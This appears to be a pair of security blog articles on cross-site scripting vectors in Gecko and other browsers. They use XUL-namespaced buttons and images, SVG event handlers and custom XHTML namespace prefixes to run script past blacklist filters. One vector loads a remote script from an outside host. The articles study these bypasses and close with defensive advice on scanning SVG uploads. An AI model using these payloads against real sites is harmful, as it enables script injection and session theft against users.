There's XUL in it

Intro

XUL or XML User Interface Language is being used by Mozilla browsers and other related products to build the user interfaces. Most times the whole GUI consists of XUL - same for extensions and other components of the browsers, mail clients and other tools. It's fun and easy to write XUL code because as the name already indicates it's XML and writing XUL is not really that different from writing HTML and CSS.

Code

Firefox surprisingly allows to use a subset of XUL elements in regular HTML pages - at least as long as they are being delivered as XML which happens pretty often. And probably will happen even more often in the future. The last article touched XML namespaces and how they can be misused to circumvent blacklist-based filters. The problem was that the attacker would have been able to influence the contents of the header area of the attacked web page. With XUL namespaces this is no longer the case - as the following code demonstrates.

<xul:button
   onclick="alert(1)"
   xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
   label="Click me baby one more time"
/>

Conclusion

The example showed a way to execute script as reaction on a click. Using the XUL image element we can of course also create elements that execute the wanted code without any user generated events necessary to happen.

<xul:image
   onerror="alert(2)"
   src="x"
   xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
/>

And of course we don't have to call the namespace xul - we can also call it x or something completely different. Important is just one fact - that the xmlns:name attribute points to the right URI.

<x:image
   src="x"
   onerror="alert(3)"
   xmlns:x="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
/>

It's questionable why these kinds of elements have to work for regular websites - and why the URI of the namespace attribute is so important. Placing the namespace file somewhere else and changing the URI renders the elements invisible - so it's mandatory that the attribute points to http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul. It of course doesn't matter if the Mozilla server is available or not - the code works anyway.

So basically the above listed examples demonstrate just another way to easily circumvent blacklist-based input filters. The code of course exclusively works with software using the Gecko rendering engine - such as Firefox 3.0.4.

SVG and more XML fun

Intro

SVG has first been published as recommendation by the W3C around 2001 as a compound solution for browsers to render scalable vector graphics combined with text. Most browsers natively understand the format and even the Internet Explorer is capable of rendering SVGs with help of a plug-in provided by Adobe. The contents being rendered can be influenced by either the contents of the embedded SVG file itself, inline SVG code if the embedding site provides the correct headers and namespaces and of course the SVGDOM - which allows animations.

Code

Firefox 3 and others currently provide several ways of rendering embedded SVGs - amongst other via OBJECT and EMBED tags. IMG tags are not supported yet but probably soon will be. Since more and more web applications start to utilize SVGs it's important to point out the risks attached to this XML subset. Let's have a look at some code

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml">
   <object data="test.svg"></object>
</html>

Here we have the corresponding SVG file.

<svg xmlns="http://www.w3.org/2000/svg">
   <image onload="alert(1)"></image>
   <svg onload="alert(2)"></svg>
   <script>alert(3)</script>
   <defs onload="alert(4)"></defs>
   <g onload="alert(5)">
       <circle onload="alert(6)" />
       <text onload="alert(7)"></text>
   </g>
</svg>

The above example shows several ways of executing JavaScript via an embedded SVG. But even more interesting is the way of using inline SVG - like shown below.

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml"
     xmlns:svg="http://www.w3.org/2000/svg">
<svg:g onload="alert(8)"/>
</html>

Firefox, Chrome and Opera even go that far allowing IMAGE tags - which work like regular IMG tags and cooperate with the events you would expect.

<image src="x" onerror="alert(1)"></image>

Conclusion

As we can see any node inside an SVG file can successfully be equipped with an load event handler. The combination of this fact with rogue SVGs being uploaded can lead to serious trouble. But what if we start to forget the SVG file and take a look at the namespaces and possibilities to inject markup that doesn't look like XHTML - but will be rendered as such?

<html xmlns:ø="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

The above example works in either Firefox' latest revisions, Safari, Chrome and of course Opera. Internet Explorer will neither execute the JavaScript nor render the whole site since it has still problems with XHTML and beyond. This is not new and a more overheaded variation of this vector has already been added to the XSS cheat sheet.

From the developer's perspective it's important to take care what happens inside the SVGs cavorting on a website. If it's even allowed for users to upload SVGs there's no way around scanning the content of the incoming SVG files to avoid persistent XSS vulnerabilities.